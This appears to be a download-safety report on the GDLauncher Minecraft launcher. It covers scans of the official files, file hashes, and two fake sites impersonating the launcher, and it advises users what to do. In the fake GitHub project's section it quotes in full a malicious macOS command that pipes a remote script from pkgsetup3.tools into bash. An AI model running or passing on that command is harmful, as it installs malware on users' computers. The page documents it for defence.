How we got this result
- Files checkedWe compare the fingerprint and the content of each file with the malware we and others have found, and look at what is inside it.6 of 6 official filesLast checked on 2 Nov 2026
- Passed Nothing harmful found in its 6 official files.Our checks look for known signs of harm. They cannot prove that a file is harmless.
At a glance
- Fake sites
- 2 fake sites found.
- Releases
- Latest release on 30 Jul 2026.
Every official file
See each file in ReleasesThe files of version 2.0.40, by system and kind of download.
Have a copy of GDLauncher? Check that it is the official one.
Drop it here. We compare its fingerprint with the official GDLauncher files and the files of the fake sites we know.
Source and links
- Source code
- Public on GitHub
- Official site
- gdlauncher.com
Which file for my computer?
Official site
2 sites use its name to give other files. See Fake sites
- Download page
- gdlauncher.com
- Newest version
- 2.0.40, released on 30 Jul 2026
- Account
- At least one Microsoft account, says its site. A GDLauncher account is optional.
Passed
Nothing harmful found in its 6 official files, version 2.0.40.
Our checks look for known signs of harm. They cannot prove that a file is harmless.
What we checked
A launcher runs on your computer like any program, and it downloads the game and its mods, so harmful code in it can steal your accounts or files.
- Files checkedEach official file is downloaded on a separate machine, opened with every file inside it and never run. ClamAV, a free antivirus, and our YARA rules look for known signs of harm in all of it.
- 6 of its 6 official files, with every file inside them.
- Deep checkOur own tools read the Java code in the files and look for what harmful code does, like stealing logins or running hidden programs. They read Java code only.
- Not possible: we read the code of Java programs only, and its files hold none.
- SignatureThe name of the company or person that signed the file. A file changed after signing loses its signature.
- Signed by GorillaDevs Inc.
- Generic scanner rule
- ClamAV's rule Win.Packed.Mikey-9859574-0 matches the Windows installer. It is a rule for programs packed to be smaller, which matches harmless setups too, so it does not count. Our other checks found nothing in this file.
The evidence
Each finding of our checks: the file, what it is in plain words, where our tools saw it, and the rule that matched.
- ClamAV detectionClamAV detects Win.Packed.Mikey-9859574-0.InNot counted
$PLUGINSDIR/app-64.7z.x/GDLauncher.exeRule: Win.Packed.Mikey-9859574-0 - ClamAV detectionClamAV detects Win.Packed.Mikey-9859574-0.InNot counted
$PLUGINSDIR/app-64.7zRule: Win.Packed.Mikey-9859574-0 - ClamAV detectionClamAV detects Win.Packed.Mikey-9859574-0.InNot counted
the file itselfRule: Win.Packed.Mikey-9859574-0
What is inside
The 90 files inside GDLauncher__2.0.40__win__x64.exe.
- Programs for Windows, Mac or Linux
- 20 files.
- Graphics
- None.
- Other
- 70 files.
Every file
$PLUGINSDIR/89 files
app-64.7z.x/82 files
locales/55 files
- af.pak568 KB
- am.pak921 KB
- ar.pak1017 KB
- bg.pak1051 KB
- bn.pak1356 KB
- ca.pak640 KB
- cs.pak664 KB
- da.pak598 KB
- de.pak641 KB
- el.pak1156 KB
- en-GB.pak518 KB
- en-US.pak524 KB
- es-419.pak631 KB
- es.pak629 KB
- et.pak574 KB
- fa.pak947 KB
- fi.pak584 KB
- fil.pak663 KB
- fr.pak682 KB
- gu.pak1338 KB
- he.pak830 KB
- hi.pak1415 KB
- hr.pak639 KB
- hu.pak685 KB
- id.pak566 KB
- it.pak620 KB
- ja.pak754 KB
- kn.pak1533 KB
- ko.pak640 KB
- lt.pak694 KB
- lv.pak692 KB
- ml.pak1583 KB
- mr.pak1310 KB
- ms.pak595 KB
- nb.pak572 KB
- nl.pak595 KB
- pl.pak664 KB
- pt-BR.pak622 KB
- pt-PT.pak626 KB
- ro.pak649 KB
- ru.pak1074 KB
- sk.pak675 KB
- sl.pak647 KB
- sr.pak993 KB
- sv.pak578 KB
- sw.pak611 KB
- ta.pak1574 KB
- te.pak1457 KB
- th.pak1223 KB
- tr.pak622 KB
- uk.pak1080 KB
- ur.pak934 KB
- vi.pak738 KB
- zh-CN.pak529 KB
- zh-TW.pak523 KB
resources/7 files
binaries/1 file
- core_module.exe51250 KB
legal/3 files
- OTHERS.txt1.2 KB
- THIRD-PARTY-LICENSES.txt19 KB
- THIRD-PARTY-NPM.txt34 KB
- app-update.yml133 B
- app.asar69993 KB
- elevate.exe115 KB
- chrome_100_percent.pak112 KB
- chrome_200_percent.pak182 KB
- d3dcompiler_47.dll4630 KB
- dxcompiler.dll25475 KB
- dxil.dll1468 KB
- ffmpeg.dll2997 KB
- GDLauncher.exe206754 KB
- icudtl.dat10222 KB
- integrity.dll14 KB
- libEGL.dll503 KB
- libGLESv2.dll8214 KB
- LICENSE.electron.txt1.1 KB
- LICENSES.chromium.html14743 KB
- owutility.dll2907 KB
- resources.pak6153 KB
- snapshot_blob.bin394 KB
- v8_context_snapshot.bin759 KB
- vk_swiftshader_icd.json106 B
- vk_swiftshader.dll5518 KB
- vulkan-1.dll932 KB
- app-64.7z163772 KB
- nsExec.dll6.5 KB
- nsis7z.dll424 KB
- SpiderBanner.dll9.0 KB
- StdUtils.dll100 KB
- System.dll12 KB
- WinShell.dll3.0 KB
$R0/1 file
- Uninstall GDLauncher.exe270 KB
Not read
We read the code of Java programs only, and its files hold none, so we cannot tell what it sends.
Releases
Current files: the official files of version 2.0.40.
A fake site uses the name of GDLauncher to offer its download from an address that is not the official one.
How to know the official site
- Official site
- gdlauncher.com
- Files come from
- gdlauncher.com and cdn-raw.gdl.gg
- Signed byThe name of the company or person that signed the file. A file changed after signing loses its signature.
- GorillaDevs Inc., on GDLauncher__2.0.40__win__x64.exe
- SHA-256A fingerprint of the file. The same fingerprint means the same file, byte for byte.
- GDLauncher__2.0.40__win__x64.exe9b5262928c54ca061fd854480f587dc4b933e86e884a244f83d182ae2556f0c1
The 2 fake sites we found
Of these, 1 gives a file with malware and 1 a file that is not the official one. Sites in one fold share their pages and their download.
gdlauncher.ruNot the official fileOnline
Russian pages that offer a different program under the GDLauncher name: a client for a store of games. Its registration date is not public.
Gives a Windows setup, version 0.1.6, from a Russian cloud store (s3.cloud.ru), and a Linux AppImage, version 0.1.10. Neither is signed. GDLauncher's own version is 2.0.40.
- gdlauncher.ruOnline. Its download buttons give a file that is not the official one.
Its download
Another program under the GDLauncher name, not signed.
It gives GDLauncher-Setup-0.1.6.exe (80 MB). It is not a file of the official download page today: its SHA-256, a fingerprint of the file, matches none of them. It is not signed. It describes itself as GDLauncher — десктопный клиент для игроков GDLauncher. ClamAV and our YARA rules found nothing in it and the 85 files inside it.
It gives GDLauncher-Setup-0.1.10.AppImage (110 MB). It is not a file of the official download page today: its SHA-256, a fingerprint of the file, matches none of them. It is not signed. ClamAV and our YARA rules found nothing in it and the 84 files inside it.
The Windows setup describes itself, in Russian, as GDLauncher, a desktop client for players, version 0.1.6. GDLauncher's own setup is version 2.0.40, by GorillaDevs.
Technical details
- GDLauncher-Setup-0.1.6.exe
SHA-256 9f257a52a6125c8e6fae294961b924a709a96847fbf9e7ac061304a01d815110- GDLauncher-Setup-0.1.10.AppImage
SHA-256 5bf3d34a8fbf8791985f65ca64c699e9859de68470ce17b21c354b203cfa66b4
github.com/upyxjlwjgrbc/gdlauncherMalwareOnline
A GitHub project created on 30 Oct 2026 by a throwaway account. Its description presents it as GDLauncher, and its page adds Windows and macOS download buttons.
The buttons lead to pages of another GitHub account, supremedeckhandwire. The same pages serve at least 15 fake projects, for Minecraft launchers, mods and other programs.
- github.com/upyxjlwjgrbc/gdlauncherOnline. Its download buttons lead to a fake download page.
Its download
The Windows file is not the launcher: it hides from test machines and installs another hidden program. The macOS button asks you to paste a command that downloads a program.
On Windows the download page gives installer-v5.zip from resight-cheats.net, a site that offers free game cheats. On macOS it asks you to paste a command into Terminal.
The Windows program is packed so its code cannot be read. On Triage's test machines it looked for signs of a virtual machine, ran a hidden PowerShell command that reads the hardware, and installed another program under a random name in AppData. We do not know yet what that program takes.
The macOS command runs a copy of the Bun installer changed to download its program from pkgsetup3.tools.
Technical details
- installer-v5.zip
SHA-256 a450189aeaa3080a6aa1ebaf60bbca9daf921e379ddb6ebdf8d44bfcc9696fb4- installer.exe
SHA-256 23ad0d94e9eef0206a2bf1cc2bb40024e3f096345622e9a3de6a5f7bf7e3114f- macOS command
/bin/bash -c "$(curl -fsSL https://pkgsetup3.tools/xzg556frgygm)"
If you downloaded a file from one of these sites
- Drop the file in the Scanner. It tells you if it is an official file of GDLauncher or a file of these sites.
- If it is not an official file and you have not opened it, delete it.
- If you opened it: run a full scan with your antivirus. On Windows, the built-in one is Microsoft Defender, in the Windows Security app.
- If you signed in to the launcher it installed: use "sign out everywhere" in your Microsoft security settings and change your Microsoft account password.
- Get GDLauncher from its official site, gdlauncher.com .
- Downloads
- Not publishedGDLauncher does not publish how many times it is downloaded.
- Latest release
- 30 Jul 2026Version 2.0.40
- License
- BUSL-1.1 (source available) Public on GitHub
About
GDLauncher is a free launcher for installing and managing modded Minecraft, with one-click mod and modpack downloads from CurseForge and Modrinth. It handles Java setup, mod loaders, dependencies, and updates automatically, and supports Forge, Fabric, NeoForge, and Quilt. Players can keep any number of separate instances, organize them into groups, duplicate them for experiments, or import instances from other launchers. Cloud sharing lets friends recreate an instance from a code, including its custom configurations and mod tweaks. GDLauncher also lets users create and manage Vanilla or modded Minecraft servers, with a live console, performance monitoring, player controls, and server mod installation from CurseForge and Modrinth.
Written from its official pages: gdlauncher.com . How we write it